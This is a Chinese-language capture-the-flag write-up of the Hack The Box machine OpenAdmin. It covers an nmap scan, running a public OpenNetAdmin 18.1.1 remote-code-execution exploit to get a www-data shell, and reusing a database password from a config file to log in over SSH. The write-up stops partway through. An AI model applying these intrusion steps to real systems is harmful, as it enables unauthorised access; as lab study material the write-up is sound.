HTB-OpenAdmin-Writeup

前言

Author: 0x584A

信息收集

$ cat server.nmap 
# Nmap 7.80 scan initiated Sat Feb 15 11:02:51 2020 as: nmap -sV -sC -oA server 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.24s latency).
Not shown: 995 closed ports
PORT     STATE    SERVICE       VERSION
22/tcp   open     ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp   open     http          Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
4129/tcp filtered nuauth
5500/tcp filtered hotline
7002/tcp filtered afs3-prserver
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 15 11:25:28 2020 -- 1 IP address (1 host up) scanned in 1357.34 seconds

目前已知站点有架设 Apache httpd，随后对其目录进行了枚举：

url: /artwork
url: /music

打开URL http://10.10.10.171/music 之后，在登录位置发现新的路径 http://10.10.10.171/ona 。

打开后发现是一个 opennetadmin 的项目。

从 gethuab 上了解到，它是一个IP地址管理系统 : opennetadmin https://github.com/opennetadmin/ona/wiki

首先盲搜一波 Exploit

root @ kali in /home/kali/Documents/OpenAdmin [11:58:57] 
$ searchsploit opennetadmin
----------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                   |  Path
                                                                                                                 | (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                    | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                     | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                      | exploits/php/webapps/47691.sh
----------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

User Flag

将远程代码执行的利用脚本移出来：

$ searchsploit -m 47691

直接执行这个脚本会抛编码错误，将里面code复制出来重新保存一份就可以了。

反弹的shell是www-data身份，此时查看/home下有多少用户。

$ ./cmd.sh http://openadmin.htb/ona/
$ ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Nov 22 18:00 .
drwxr-xr-x 24 root   root   4096 Nov 21 13:41 ..
drwxr-x---  6 jimmy  jimmy  4096 Feb 21 10:02 jimmy
drwxr-x---  6 joanna joanna 4096 Nov 28 09:37 joanna

随后在配置文件 /config/database_settings.inc.php 中找到mysql链接密码，随后用这个密码成功SSH登录了 jimmy 用户。

'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,

但是登录上去之后看不到user.txt，猜测需要joanna用户登录才能获取flag。

接着收集信息，在 /var/www 目录下发现了可疑 internal 文件夹，里面放着一些PHP脚本。